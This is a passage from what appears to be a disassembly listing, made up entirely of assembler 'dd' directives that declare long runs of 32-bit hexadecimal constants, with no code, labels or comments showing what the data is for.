		dd 185B6087h, 97E45CB5h, 175A6286h, 0EB4C2DB5h,	88EDFFE2h
		dd 7286DA12h, 0A5D6C5F8h, 291798E7h, 5B5652A1h,	99350D29h
		dd 82AE12B0h, 41BAF720h, 7126E71Bh, 5D2CE74Ch, 0BA411CAFh
		dd 1AA5AD00h, 821CA721h, 4DD6C37h, 3B1F54BBh, 0F49EA396h
		dd 0BD2C0E34h, 60312B39h, 16C30F6Ah, 5D7DAA8Bh,	0FFD93F47h
		dd 0D8E73FB1h, 0BD9B117Dh, 0B062A907h, 4A1931E1h, 0AF8BE33Eh
		dd 79F1BD4Eh, 9D2E50C4h, 9E4F920Ch, 2541C8B8h, 194F0D09h
		dd 1D64FF35h, 4AD853C6h, 194CADA4h, 0AF6A494Fh,	2C409856h
		dd 0EA436EABh, 9809EE46h, 0D758A568h, 7930D141h, 2344623Ah
		dd 3B7BF02Ah, 0A59B37FEh, 31ACFDA4h, 6AEDBB74h,	580267E7h
		dd 70F4D1CBh, 14C780CDh, 71AE82BDh, 0A6239A40h,	0D503A91Ch
		dd 0AF470007h, 6383DF13h, 523917A0h, 4A111E4h, 36C45D16h
		dd 0B1DD2EF7h, 7261494h, 0A22D14C1h, 6822E761h,	4AE49160h
		dd 0DECF8C15h, 16F6CB3Ch, 70F8BD43h, 0DF080DE7h, 0DBA4B81h
		dd 9F378BFEh, 9B17B14Dh, 7EA6B2A3h, 57E6BEE7h, 0B2392DCEh
		dd 25D13D7Eh, 0AC24BF3Eh, 0D743A561h, 6EF910Dh,	9C372930h
		dd 346C2A9h, 3EE64A3Dh,	0F3B2C5Eh, 0A2DE64BEh, 7481EAB5h
		dd 7A844810h, 6BA11ABDh, 48CE2DB0h, 76F0B875h, 7EB903BDh
		dd 0BCED01A4h, 934311B2h, 7E276471h, 14EEF18Dh,	0A4233C32h
		dd 44318FE1h, 8B30E328h, 191F3226h, 0EBF705D3h,	77622633h
		dd 683E0F45h, 0A599AD1Bh, 0C03B511Eh, 1D3E2B8Bh, 0BFCCCDA7h
		dd 128A76E4h, 8A5708C5h, 9EFD0A43h, 0B7D2C94Bh,	0C55EB221h
		dd 7621E17Bh, 0D0284A63h, 54057940h, 578A30B9h,	75232AC5h
		dd 92C023BCh, 0B9CCC4A3h, 6E1FD71Ah, 0B5FCE3E0h, 0B9F7EEBDh
		dd 0CD35E9ADh, 83FE0793h
		dd 2D458CC8h, 1C67A747h, 20B63911h, 0A54D30Dh, 3D5A8379h
		dd 0F34C204Ch, 0FF9ED60Ch, 2537359Ah, 4D13CD37h, 67E91AADh
		dd 64B11BBFh, 1D34DFA5h, 47FC3DFFh, 2FC62724h, 5B7ED338h
		dd 9EB7963Eh, 1F2EC0E6h, 98F5901Dh, 0BEDB3128h,	98D628D9h
		dd 77EB7565h, 0CE696217h, 0BE8D3D03h, 622F7372h, 902B664Ch
		dd 66B5806Fh, 7A0522B3h, 60DEDC0Ah, 0A678F14Dh,	0D933F942h
		dd 7CA580C6h, 53E9ACC4h, 0EB1C3DC8h, 6938B826h,	6B85A994h
		dd 6A202B79h, 6AA067B5h, 0BB386654h, 0EA23E675h, 797683EAh
		dd 8936838h, 0A4598B41h, 0D36E3925h, 3C7A67D3h,	0B8F6DA54h
		dd 5C920325h, 0AA322742h, 0AB810011h, 0D9827608h, 2362E203h
		dd 0C05EDE9h, 0A88338EDh, 0BB339D44h, 3EDE91FDh, 3A966744h
		dd 3DB2A44Ch, 0C70E8960h, 96F63522h, 9238F1A6h,	133A679Ah
		dd 64070187h, 36DA267Fh, 7E2B16Ah, 23DBCD9Dh, 7728D52Fh
		dd 552E4055h, 0AFC7624Ch, 55F3B969h, 4EA8F29Dh,	0EFFA8AF6h
		dd 4AAD0D9Ah, 0A7C7C2BFh, 7C1AF438h, 0D96F0B74h, 2F3FA5BAh
		dd 0C31CD331h, 0C4E3354Ch, 0E6355320h, 6DE74567h, 2AEB4F68h
		dd 1D157FD4h, 0E21929E4h, 8631821h, 0B6913B5h, 0DC874940h
		dd 0E5B9B826h, 61BD19F8h, 0A46979B5h, 701D575Dh, 5B4149BCh
		dd 54DA2F3Bh, 3829A4B2h, 0ADC94926h, 7883EF21h,	23E7335Bh
		dd 9E10D67Eh, 1FA3449Dh, 7B36EC6Ah, 0AD320AA1h,	0C23A2D2Fh
		dd 9F93EBFCh, 5829F54Ch, 5CC8037Dh, 78505997h, 87DB2EA5h
		dd 0AC0DED38h, 59D90BC2h, 9BFDE584h, 0B13A8828h, 7232AC84h
		dd 4536DD1Bh, 0AF3AC9FEh, 35A01D72h, 23853CB8h,	3ACE2413h
		dd 7ADB5BCEh, 204C364Ah, 0D4C12C1Bh, 0B84112BFh, 4CF7E25Fh
		dd 3E2E7FA0h, 9D02E5B5h, 232CBAEh, 0BB20A00Fh, 5E81355Ah
		dd 71D6317Bh, 40AEF044h, 52B70C4Dh, 2BDA5222h, 786F60Ah
		dd 0FEA33841h, 44555E4Dh, 95AC5BBDh, 0D7D2293Dh, 63367EB4h
		dd 419D996h, 0AE27C037h, 0F25ABD69h, 0A1CD8193h, 3BC98568h
		dd 60582FAFh, 0DFE01C0Fh, 26422C18h, 0A401DF4Dh, 3B0D2894h
		dd 0C611F253h, 0A4C8C158h, 55EA62C9h, 286198F7h, 5E506658h
		dd 0A051604Ch, 5A211563h, 41E5C729h, 0A4A2C40Ah, 107BA2A1h
		dd 0D202204Ah, 0DB09A0ECh, 53C02E15h, 584E2385h, 11FD23B0h
		dd 0AEC35B89h, 0E385B25h, 0A73885B7h, 76062875h, 1070FB02h
		dd 24BBE3C4h, 4B84FF57h, 0B8CC7F25h, 0B383633Ah, 6409299Dh
		dd 62DA73B9h, 511903B5h, 0DCC229A1h, 6BBF5DD0h,	0FAB4973h
		dd 0DE91F1E3h, 8336D9DEh, 0ADF1A6CAh, 0E101043Bh, 0C47B4DD4h
		dd 0ECBE26B6h, 9EBB052Fh, 0DD13136Ch, 0A7212B30h, 0F42A854Ah
		dd 5B0462A7h, 0D7B386Ah, 6ABA7981h, 420DE57h, 8ADD3DB2h
		dd 586CD874h, 0AE461F3Dh, 0DF43E955h, 0D52D8921h, 0DD2F7753h
		dd 2908E71h, 20B18Dh, 0C45C273Ch, 0BF684A42h, 1BC8DE20h
		dd 5F0BF9A4h, 4B12DCB1h, 9B739970h, 0A6BB3051h,	2378136Dh
		dd 5AF52F9Bh, 0C213DDDh, 0B59A8293h, 4A8A70EDh,	48EA4DE8h
		dd 0A3201925h, 0AAE92DB6h, 0EF07EE3Ch, 88C6F185h, 64F94A41h
		dd 4E855FB2h, 0EB1E4B0Bh, 6BB7993Dh, 2602153Fh,	254028F3h
		dd 1D290DFDh, 0ACF68F4Ah, 6B66DE45h, 0F9BA2E75h, 4C768169h
		dd 43C22645h, 0AB2EC1DFh, 0A0E71571h, 32E113D7h, 9B7A2773h
		dd 0D16AAF5Fh, 3D9F53A3h, 1B7D78E1h, 9B111D5Ch,	7EDE93BCh
		dd 0AA945D5Fh, 822C07BEh, 562250B0h, 9CDF3E99h,	416C993h
		dd 7A3B48DFh, 39F7DE74h, 6FA0526Bh, 0B1380E42h,	1BBB42B3h
		dd 0B38447A3h, 74092367h, 0CB8C824Eh, 7F902DE7h, 4E815B3h
		dd 86AE6A04h, 443979BCh, 0AAA662EDh, 0BB32A9A7h, 0FE7B297Dh
		dd 0E0C20D64h, 62CC0542h, 0CB7A04A7h, 6FF035FDh, 0AE9D0035h
		dd 885E7A52h, 19501BB8h, 5EC71F12h, 33D9A40Dh, 27A00152h
		dd 44E677Bh, 0C70DFFA6h, 0E2419A4h, 0F1BBEDA4h,	8AF50B43h
		dd 0A0FAFDC7h, 0A1B9A979h, 9F9D58C6h, 0EF56FB9Dh, 6E222EBDh
		dd 0AA1AA935h, 5CE2FDBFh, 2860B55Ah, 4FEA9F5Dh,	50F30627h
		dd 0B843D8B5h, 797FAA06h, 0B8D0FA08h, 8235AD64h, 7B11417Ah
		dd 1A5A62DBh, 0D295E3A4h, 0CE17FB6Bh, 62A1546Bh, 1F391633h
		dd 22116769h, 0B3826D7Fh, 0B728DDBDh, 23C42620h, 0EE52E76Ch
		dd 0A8EA4629h, 632D081Eh, 4A1F22C7h, 5D32EA44h,	4160EAB4h
		dd 0FC9CE3F6h, 0D3DF2D1Ch, 46335E39h, 40DDFD6Ah, 1B052C00h
		dd 241C04E4h, 0B51CE9ACh, 0ECB0E69Ch, 0A51600DBh, 0A3971A54h
		dd 5F22301Bh, 1E20CC63h, 63E76EA9h, 7AD7E32Ch, 0CA1E9D45h
		dd 375A843Dh, 97BB2990h, 65F87ED6h, 6A208C3Eh, 0AEEE0427h
		dd 0CE26EB11h, 5AF82963h, 0A468F161h, 47DAF6AFh, 8A0A7546h
		dd 0D823E663h, 95123133h, 5F80CB4Bh, 0FC59C386h, 0F9728971h
		dd 5752ABDCh, 1D926D35h, 0BB791796h, 0E2BAE93Ch, 0A6FD35CCh
		dd 6A01AF79h, 72B3FD44h, 0CA21582Ah, 0E5BEAD29h, 88366C23h
		dd 85CCE1EBh, 0DC1B42CEh, 0A6C26103h, 6E30C53Bh, 1AEBD2A2h
		dd 46980BACh, 3D042B41h, 0A6E82B53h, 0E4F41B79h, 19E9A0B1h
		dd 271B4A4Dh, 1BF2ECBBh, 6CBB71BDh, 407EF730h, 0AC5831FFh
		dd 822FA958h, 76308DF5h, 60135277h, 0E34AB62h, 851A8DF6h
		dd 0BAF3C4BCh, 0CD4DECB4h, 0AC345375h, 0C9DEAA1Ch, 0C93B28FAh
		dd 0DC3F95BCh, 0E40A3A3h, 0C75088C2h, 2D3ABF9Ch, 0A5626146h
		dd 9234A444h, 0F10BA165h, 0A0CF9762h, 8C36A464h, 0DA35BEBBh
		dd 1A2BAB59h, 776C4AAh,	32FD146Ch, 406153BEh, 86F1449h
		dd 2443D1A2h, 0A012567Ch, 0B1C7696Bh, 0FBE7E549h, 561D46EEh
		dd 345CE3B2h, 557AAB4Ah, 0AEC91B8Ch, 0AAC57EA3h, 26B6133Ch
		dd 0EBBD7692h, 3641DC4Dh, 9CC1EEE1h, 2046CC22h,	3498A4B9h
		dd 0EC1FB9ADh, 0EAAB8CFBh, 0CE4A1AACh, 2045F0E9h, 97A36F3h
		dd 5F6CAB3Fh, 2AC6BE3Eh, 7A3C2603h, 0A32C4ACFh,	94C5313Bh
		dd 54810DBDh, 0B1CE0B38h, 3E9A86B0h, 2511361Eh,	5235C477h
		dd 86608E4Ch, 0CF45E1AEh, 9350E180h, 0ABBB0DE5h, 16CF726Bh
		dd 302ADAB0h, 0B3D8B853h, 92E322BCh, 4145D108h,	0DD0D2713h
		dd 0A1831B10h, 0BE59C9E4h, 27E1D72Fh, 0BAA9A0B8h, 0A3B06AB7h
		dd 84CFA065h, 1B33A4FCh, 5F5D1CB6h, 0BF0BC4D8h,	0C12DCDA0h
		dd 0E148E039h, 0A79FD1D2h, 0EEAD5C2Fh, 942E4850h, 0B1F76C30h
		dd 0B2FB0972h, 1A01ED45h, 3FA49E3h, 0B4E5F6BEh,	0D993A2B5h
		dd 0A7CE7FFDh, 7A84FF60h, 29B28146h, 9D15DCBCh,	616F228Dh
		dd 7C958D8Bh, 4FB82D0Dh, 0C93D4DA1h, 86EDFE12h,	751DB7FBh
		dd 0E626F534h, 1956E1FFh, 6772597Dh, 0EA57C75Eh, 0A34C5D3Eh
		dd 0DE05F3B1h, 0F023E285h, 0B6BD2BBFh, 0BAE452C1h, 0BDB647ADh
		dd 7C9C576Dh, 23E419E0h, 0A5C085F7h, 67372DC4h,	2F623A2Dh
		dd 1AD3FCB8h, 82421D38h, 2CE8225h, 0E9F01A44h, 2310231h
		dd 717F660Dh, 0BBD917BFh, 4BC04D39h, 5F9C751h, 0BE23717Eh
		dd 523AFC42h, 0E282B6B5h, 5101DAA4h, 46DE14FDh,	0EF8AFD7Ch
		dd 15AF5E5h, 0B1632977h, 4F4AED15h, 0D4FDEC75h,	62C02C65h
		dd 29AEB768h, 5A8429FDh, 20BFAB6Bh, 747138AFh, 0B3213395h
		dd 0AB203D37h, 5F1C540Eh, 0A9711C5Dh, 24C13D24h, 1C24A721h
		dd 442E6B3Eh, 208D5C18h, 183AE267h, 6AAC4D20h, 5D34E3E0h
		dd 0F7D06DE0h, 221ED51h, 7928B5C0h, 9E550E37h, 0F36502B3h
		dd 5AA7EA1Bh, 6887B4F6h, 0BF109AF9h, 0AD61A5Dh,	4D08D041h
		dd 2D6E127Eh, 0F9AB18E4h
		dd 0A00ED507h, 0B07DA296h, 0AB84EA5Dh, 0A5129A6Fh, 695ED289h
		dd 2B61B06Fh, 6E560BEh,	1F34162Bh, 4601A7FAh, 5D18DE7Ch
		dd 0AA2297BBh, 0E2DD08A9h, 0D2BABEFDh, 0ACEC0878h, 4556D352h
		dd 91D2456Ch, 8F894989h, 0B31C7C9Eh, 3E920879h,	0AE34D53Ah
		dd 6A5D1F21h, 3EFE3912h, 5C04D419h, 1A092AE3h, 8E466BE8h
		dd 0BB38152Ah, 0BE349378h, 6A2613C1h, 74693498h, 0BB918B3Ch
		dd 0AC234AB1h, 4252B8E5h, 2A3F29E1h, 1D86D6B3h,	0B295055Bh
		dd 49D8494Ch, 0A2369D4Fh, 0CFEE0535h, 204C206Fh, 7B2102EDh
		dd 0DEC21597h, 0CAA51761h, 5E207952h, 5A406222h, 531AD238h
		dd 9050AD67h, 0C046ECF9h, 2B5580D4h, 9DAB6D15h,	0F679311Bh
		dd 37A16384h, 0AD46DCD6h, 4E705886h, 0E3C1C759h, 0EAAD754Fh
		dd 93520E6Fh, 41C714B5h, 822EBAC4h, 62E86C51h, 438869B3h
		dd 0AC44604Ah, 900EF71h, 1A6B085Bh, 3E0F3209h, 3E313F7Dh
		dd 79540DC6h, 0DD69E944h, 0B2338267h, 9E32086Eh, 52BE30A3h
		dd 92F1577Ch, 93ECE978h, 0AC3E6CB5h, 5EC241E4h,	2CDEB96Ch
		dd 0CF2069ABh, 823FCB23h, 20AB930Dh, 2FDFE7A0h,	71C06E07h
		dd 0E53E2DE7h, 0A0CB971Dh, 0AEA1F20Fh, 232B3EBEh, 15393148h
		dd 6E84280Ah, 2BB9D58Bh, 4B68F17Dh, 0FC5D0ABFh,	0B2D880A6h
		dd 0F17B98B1h, 24036F68h, 5A1AA2D3h, 85C5CB42h,	0FCA20CDh
		dd 0B2FFB44Bh, 0B275EF75h, 7D924955h, 0ECA92CFEh, 8592104Fh
		dd 0AA83ED4Eh, 2E7D0451h, 0B72947D1h, 96110CC8h, 6E9CE2F1h
		dd 23EAC44h, 0A6BAE9CDh, 8B40F7BDh, 0A02A2810h,	712107E7h
		dd 0B603D390h, 5F9E35C2h, 2F03C7Dh, 0EDEFA5C3h,	0AC37EDB8h
		dd 54CA9A48h, 24A3EA20h, 68F5083Eh, 7A02CEBBh, 4E438937h
		dd 0FD248F2Ah, 6168F0ECh, 25966744h, 0B1D9ABC8h, 0AB3B6583h
		dd 0C82E7BEDh, 0A29500B3h, 0B447644h, 0B9BE2EDDh, 0A40E1A06h
		dd 0F2D2D4Dh, 0DA31B556h, 5CA62861h, 0A40130A7h, 994715FCh
		dd 0EDA50475h, 0AB445914h, 42F02618h, 5231334h,	7EEDA122h
		dd 0A386AD5Dh, 0BDFD4961h, 9E0AAD85h, 27511625h, 5C3B9D44h
		dd 0C1222EDDh, 0AA35E1AFh, 188B28D1h, 0AFC2C1DCh, 5A850969h
		dd 0BA9F8C5h, 1CACA756h, 6AA19BFh, 0B020CF1Fh, 823C2EA4h
		dd 0A3545C93h, 1F0EB0A4h, 62AD0FDh, 252D2EA1h, 2566C18Ah
		dd 36BE142h, 8AA038FEh,	171D070Ch, 9860AA15h, 0B25452B4h
		dd 7038EEBDh, 0B000133Ch, 0A64EECC7h, 61DF1D8h,	0B3E533A6h
		dd 46BE26ECh, 8D3AA6BEh, 3D2D2921h, 7AF22D01h, 0C85F157Fh
		dd 9EE1295Eh, 9B250009h, 73390974h, 0BB0E6390h,	0C3DB86CCh
		dd 2B9AD38h, 5C490B52h,	8F774EA2h, 0BB833B49h, 0DF3645E7h
		dd 0A9EB8020h, 8200C51Bh, 6EE2DE1h, 22433318h, 256E964Dh
		dd 0A737457Dh, 663941C2h, 0A4FEFD5Eh, 5C3B881h,	6AA01CA2h
		dd 271D0C28h, 94C0E865h, 61BA0EBEh, 0AB31CB99h,	0B4F51361h
		dd 2C5D0295h, 73F05FCFh, 616AADEBh, 0BE448644h,	0A241A94Bh
		dd 0BA015097h, 0AE376BC2h, 8DEFF823h, 0A337EDA4h, 0B40CC848h
		dd 851BD2BCh, 0BB9F0548h, 88B32DADh, 0A4BFB7DAh, 0AF372548h
		dd 0D8294BBCh, 5FBFAF1Fh, 0AB05F64Bh, 7EF5870Bh, 62198805h
		dd 0B5B60C8Bh, 0E8296779h, 4F918F67h, 222E9931h, 0F902BD55h
		dd 0C92DEC51h, 67315C0Ah, 5EF52B7Ch, 25F76F25h,	978EF1BFh
		dd 0AAB5E516h, 9A748F0Fh, 7EBBD21Ah, 0A34D2F91h, 83552EA9h
		dd 8F4F74ABh, 2BADF9B6h, 0D204D014h, 694CB1E8h,	0D24EA539h
		dd 138FCCAh, 0D3D5F9Dh,	100A3EB8h, 417D3A32h, 0B57AE518h
		dd 0F889B1ADh, 0C946EDC5h, 0D5165C3Fh, 0BE2E957Bh, 0B90EFAA0h
		dd 9D3D2124h, 8EF60C3Bh, 0A14AB2BCh, 0A626602Bh, 64762D3Ch
		dd 0E339E4F4h, 1680EB45h, 6269E2EAh, 9CD8D3FEh,	0F8A76915h
		dd 1CC16D3Eh, 37B3DC7Fh, 0C13B0C16h, 0A93EA5B1h, 837B3881h
		dd 0E335546Ah, 0B81C509Fh, 1A3EAA27h, 3EFE8FF5h, 84FE7238h
		dd 6877B58h, 92E7A83Bh,	437280D6h, 4262F704h, 96CC17CCh
		dd 0E42FD4B7h, 6C1331E8h, 50CD0895h, 64EC3A30h,	3920518Dh
		dd 0CC63D59Ah, 28092339h, 0CADEE9DEh, 0EECF916Eh, 62F5A1FEh
		dd 6202B01Fh, 66A8F38Dh, 345DF82Fh, 0AE670A89h,	0BC69C80Ch
		dd 1E9F485Eh, 8AC7A27Ch, 0A9CE4A25h, 677C8538h,	0A87EC963h
		dd 0BFC04A0Ch, 933AB44Dh, 6E917773h, 0DE309009h, 3B11190Eh
		dd 5A332411h, 0B4F297Ch, 0ABFB40AAh, 8DC01133h,	42601F20h
		dd 4D7AF007h, 299F9C94h, 0F67EBD3Ch, 0FAD4F298h, 0DBC81141h
		dd 0D5A622B3h, 92BEFEBBh, 43A7037Dh, 86350174h,	0D7C515A1h
		dd 4985D65h, 82E92000h,	5ACED41Eh, 0DA179FAFh, 828D224Ah
		dd 0CCAF72EDh, 81221652h, 43BBADAh, 68D83D52h, 0C632269Ch
		dd 0C14A8318h, 3C721F5Fh, 0AACE415Fh, 0CBAE92A0h, 0A344A954h
		dd 20C29547h, 0CCD4B42Bh, 0BFA32EB7h, 57BF5BACh, 8E3381E5h
		dd 98FC2460h, 98A101B0h, 0B6A6554Fh, 0DE00AFDDh, 0FAAABD44h
		dd 25AA9C7Dh, 16A90143h, 96088838h, 4052A171h, 6EE6C635h
		dd 4EF5903Ah, 200A275Ah, 1EC1E93Ah, 0DF06F7C8h,	67A4FF92h
		dd 4ACDEE94h, 0EA8C5779h, 0E1AA285Eh, 9C792895h, 0CEB53DC9h
		dd 0CF7BB0CEh, 0D201FECDh, 0C8BB93Ch, 7459845h,	8AC19DC4h
		dd 24DEDEF1h, 4E2CADBDh, 33448401h, 82E22517h, 424DCE52h
		dd 898CD3BAh, 6AB43765h, 0F83F48Eh, 6820671Ch, 2DCB90Ah
		dd 1AE32C30h, 0C7993550h, 4E8AF453h, 64309C5Dh,	94656644h
		dd 53C3E2A1h, 0FAB6108h, 0B59EF248h, 0DEDE62C7h, 0A45AD01Eh
		dd 0AA940EF3h, 96BB2751h, 7330118Fh, 9EAEB59Bh,	0E76E6CDCh
		dd 628FA150h, 6DBB5A1Eh, 36DB5F49h, 6040E55Ch, 60E78D23h
		dd 6B8EFD7Ch, 67B091F1h, 6A1BCA89h, 0E2D2B129h,	3FD18002h
		dd 0CCBB43AFh, 23D60899h, 3C0FD1BDh, 4F3B8491h,	5FA21614h
		dd 2335DF5Eh, 62FD6314h, 0EF6AF5BAh, 0B7F65045h, 2032CDB9h
		dd 5F725991h, 430383EAh, 0B8DB1542h, 55FD7F9Dh,	20358CC5h
		dd 95A2F0E9h, 0BACE76B1h, 8B7EDCFEh, 8C324B05h,	0BA597CBBh
		dd 96171144h, 0EF4C5E11h, 0B68E4534h, 0E06F4E70h, 0C13CD2A4h
		dd 25237110h, 6B3E93F6h, 47F5320Eh, 3ACD30DAh, 24BF297Ch
		dd 739A65A9h, 0CB00F9D8h, 3E1F1FF5h, 0EEFE32CDh, 0CC4B2B31h
		dd 0C4F7C4CAh, 0F50E7A91h, 347FF298h, 2B568047h, 415A7D8Dh
		dd 2DEA57CFh, 0AAEDE572h, 39EF2D65h, 0A8632309h, 0D92DF890h
		dd 9F0E9776h, 0D06AF6C8h, 1C1A40E1h, 6E401FCEh,	0D20B53C6h
		dd 5350E8BCh, 0ACD9DD52h, 0F13CBF3Ch, 48FE13A9h, 8A22C793h
		dd 52EEB0AAh, 0EA865876h, 46DD2C63h, 0E845E27Ah, 0F152DD14h
		dd 78697672h, 938668C6h, 4C19EDD1h, 0BA8B1461h,	90E512E9h
		dd 0CABBEF2Fh, 0F9057BDDh, 8EE691A3h, 0CDE9A44Bh, 175C6EB5h
		dd 0A0D87EB1h, 0D0430B8Bh, 79338F38h, 330EBDD1h, 239431B3h
		dd 77FE1AD4h, 0FB76E711h, 23A3B28Dh, 0AD329E6h,	7A98E170h
		dd 0A7AD4F94h, 50C82552h, 0FAF8ED2Bh, 5F5629D6h, 0D529493Bh
		dd 312DE5D4h, 391AAB7Dh, 0F41FBFAAh, 0BC57B0DFh, 0F10EB3F8h
		dd 51E7BC19h, 7451D3F7h, 0E6F2EAA1h, 0E1C32F78h, 206E8D22h
		dd 39612FFh, 0B62C92F5h, 22327563h, 90D8AD7Ah, 936D59DCh
		dd 0DA7E7E9Bh, 2E3F5FCDh, 8D8EC3CCh, 0FC26A721h, 79BE097Eh
		dd 0DDA8725h, 12496E79h, 93083994h, 0E420F6Dh, 43E4BBAh
		dd 179A1D53h, 0ECB15D64h, 0CD2DD3A9h, 23BBAFA9h, 7BF132EAh
		dd 562AD6Dh, 9B11E4A1h
		dd 9160ADD5h, 6CE593D8h, 585A113Eh, 4E8C260Ah, 6C52115Ch
		dd 0EF7D3B75h, 0EA9042B5h, 0AB570EB4h, 5DBE5C2Ch, 0F36269F5h
		dd 5FB453E2h, 0AA2527A9h, 0AC4A40BDh, 63B034BDh, 45BE1A64h
		dd 0AB6A3B11h, 2A234FF4h, 1EF9790Dh, 73DB4878h,	307515C9h
		dd 0AC5CFD0Ch, 82C9E1D0h, 0ACAB744Ch, 850D3FE9h, 0C8F598D3h
		dd 85BAC940h, 0F7E225E4h, 0AC253AB9h, 76372DE2h, 5D2B9741h
		dd 0F51A51B7h, 2B4E8615h, 9426DD62h, 33EDC91Bh,	0B574A294h
		dd 0B0250D53h, 9E6F7867h, 9EE4A84Dh, 0E0B992C6h, 0A280AA49h
		dd 0A6B33058h, 0A76BD332h, 27C33DD9h, 683AE553h, 2A00B7D9h
		dd 48CE5CB6h, 82EF04D5h, 0D329BC03h, 99483EB5h,	9DDC3D39h
		dd 117A6F07h, 0FE44C69Bh, 0C2C8136Ch, 5BB97F52h, 3A326308h
		dd 3FA7A91Dh, 3562DD4Eh, 9F209E6Ah, 0C19DCF22h,	0C2E7285Fh
		dd 35EC1C52h, 6B5A5C7Fh, 3A29A421h, 194159CBh, 278185B6h
		dd 9D437809h, 4CEB088Ah, 0F6B5E8E9h, 6DF31F15h,	407FAD58h
		dd 835C51F1h, 0F435BBFh, 4916A8BBh, 0B5852E3Dh,	0E0CC3C9Ah
		dd 0DBFDA305h, 0EABD29ADh, 7BCF3F49h, 994014A3h, 50A94E2Fh
		dd 35F0BF58h, 402CDB23h, 3A354AECh, 8EEBF192h, 0D1E557D5h
		dd 0BAB60A52h, 92F7B43Dh, 477B14DBh, 82BBE7A7h,	5BEC6A94h
		dd 9A64515Dh, 24051C34h, 2B55833Bh, 0AFEEE5F4h,	0D0BAB65Eh
		dd 0FEB27FABh, 0A613A93Ah, 9861FDADh, 2524FA42h, 58F099F7h
		dd 0FE02B21Fh, 82ACE080h, 14958196h, 686F6863h,	0A36BA564h
		dd 26BCA671h, 0E1D17762h, 244AA295h, 0BC7D5BFh,	0A3631D1Fh
		dd 8715EC84h, 1D230C18h, 5F2F9BAh, 0CF513A77h, 4E46853h
		dd 6BB95CA4h, 75219DC3h, 155AC003h, 1ABEE954h, 0EF80096Fh
		dd 1632423Fh, 0A81BE391h, 0D2E9311Ah, 6EDB8DE2h, 259EC6B9h
		dd 713DA653h, 0A2D98CDCh, 8BEACB8Dh, 0D20AEFB0h, 1760689Dh
		dd 0E6064E3h, 0A9322565h, 221B65Eh, 0B02AC486h,	0B93AE238h
		dd 0AFBDB54Dh, 6577FF48h, 658E77F5h, 6E8AA0B5h,	1E9529DEh
		dd 0A3441E79h, 2E82CE61h, 0DD7D1269h, 0FC6D3851h, 8F823D59h
		dd 3CDFBD1Dh, 0D77E7A3h, 6D41A63Eh, 0D82136C9h,	5632D5C6h
		dd 1B35A637h, 95F1E7E7h, 919D15A1h, 5CD8FCA3h, 8896AE65h
		dd 84D7C0CFh, 0F5D229ACh, 2E5AD2CFh, 0BBF8F231h, 0DFC91D81h
		dd 733B994Ch, 451800D0h, 531CB7E1h, 98E10A19h, 0A56330DDh
		dd 9F50D1Dh, 1D199445h,	0E7339CA7h, 0A618FF5Ch,	64EAED1Bh
		dd 0ABB9C3DFh, 2F9E12Fh, 1514430Dh, 0DD348AA9h,	0F0E7CFC6h
		dd 0A769D2D9h, 2B44B349h, 0C046554Fh, 0BD003161h, 0B6DD28BFh
		dd 6053661Ah, 3B4D334Dh, 0EF270B4Ah, 0B132CA61h, 0E1AD198Fh
		dd 1CC60A48h, 3801D04Bh, 628EA141h, 43FD1380h, 7E853199h
		dd 0CE105649h, 0FB8C2D4Bh, 0C15BCDC9h, 96DA0A59h, 48E207F6h
		dd 0C6CDCB21h, 6489EC73h, 0C2347D51h, 0A897FD73h, 0F7BAFE1h
		dd 0C1A718C6h, 41306F5Eh, 0B9CAC2A9h, 0B1EB03E0h, 5B027CC7h
		dd 0B457E854h, 0DCDA79D4h, 0F61C294Ch, 0A546ACB4h, 8D2ACEA3h
		dd 0C1520719h, 0B276D43Eh, 2C4203B9h, 5C89305Dh, 5752E5AAh
		dd 29B0F84Ah, 501732B2h, 0E2390E89h, 56D92F79h,	0BB76AFD6h
		dd 6FDD3037h, 70AFF9B1h, 8E16F8F9h, 0F5FCD505h,	1E03E9A8h
		dd 7DFFF0DFh, 45EB9361h, 45ED804Bh, 6091FF0Bh, 73E05DD5h
		dd 0AB0ADDCCh, 70F92D1Dh, 1FB3B42Fh, 0A86117FDh, 1FDA295Eh
		dd 70DDEA4Bh, 4BE8ECEDh, 9D484B5Ah, 81D0D907h, 75E4173Fh
		dd 0D6CE363Ch, 0CA3EE95Eh, 1C433138h, 259E1C87h, 6FDEF307h
		dd 6DD54695h, 5E765B18h, 4B7ABF1Bh, 6143EF4Fh, 642271CEh
		dd 0A261A8ADh, 997E6A4Fh, 4C1639F5h, 0E38D1FEh,	1ECFF397h
		dd 824730F3h, 0BA59F729h, 22853F45h, 0F0A4315Ch, 0BF56485Bh
		dd 45F7B0D4h, 9776DC58h, 0A665B48Dh, 86A65C1Eh,	9588DDABh
		dd 190EFD8Bh, 0B4FACE74h, 191DE1DFh, 970225C1h,	8AA173EDh
		dd 569BBB2Ah, 1B64E006h, 84DC491Ah, 0F81EFCFh, 83C33ABEh
		dd 3E021DD4h, 85022B78h, 0B2DD1685h, 0B501F455h, 9AB859D8h
		dd 213EFADh, 6A236105h,	49C4A81Fh, 43AB4950h, 55E4C224h
		dd 53237AD4h, 9A80C072h, 0F9402F40h, 7D3AC95Eh,	13270326h
		dd 3A67ACAFh, 0BF6897Ch, 0A44F8EF9h, 62CB23D5h,	4D5B8121h
		dd 0D1034A8Ah, 63A45A75h, 0A5442503h, 74230174h, 701B7530h
		dd 634E35C2h, 0E3B0557h, 0B720CF3h, 0AA31134Fh,	0AAAD20D2h
		dd 733B4C3Fh, 4CD1623Bh, 0BAA9A2C9h, 2FAB10Fh, 739F8B15h
		dd 0B829EB9Eh, 1F247B7Dh, 0BAEE7015h, 0F9B91165h, 0A0CEE155h
		dd 1D62A425h, 511A1832h, 0CA6E4903h, 0A26BD345h, 0FFFD3540h
		dd 9E650CE4h, 865D485h,	0A72D459Fh, 6C99AF25h, 9E078041h
		dd 682E0F4Dh, 4FEF4453h, 0B622162Dh, 45914941h,	0DAB71C46h
		dd 540DE40Ch, 0C2F16FFFh, 3199928h, 3A68D410h, 49168C24h
		dd 0A3BBD042h, 0ADFFABAFh, 237A8C65h, 0A8F8C196h, 1E8BD8EEh
		dd 22017A52h, 7884A331h, 746EEC24h, 30E2B12h, 64D8C951h
		dd 820CA0h, 20333691h, 0DEB121B3h, 0A8C41ED9h, 43FD0A2h
		dd 0AE59FA22h, 6D433E41h, 8E4E5D68h, 64423CF6h,	0F2ABEDA2h
		dd 34FD450Bh, 61AC011Dh, 25E30B3Dh, 0DFE1BC23h,	0F90837B1h
		dd 11612CECh, 8C26AA4Dh, 0EB026A88h, 0DC52A438h, 9B40FB9Ch
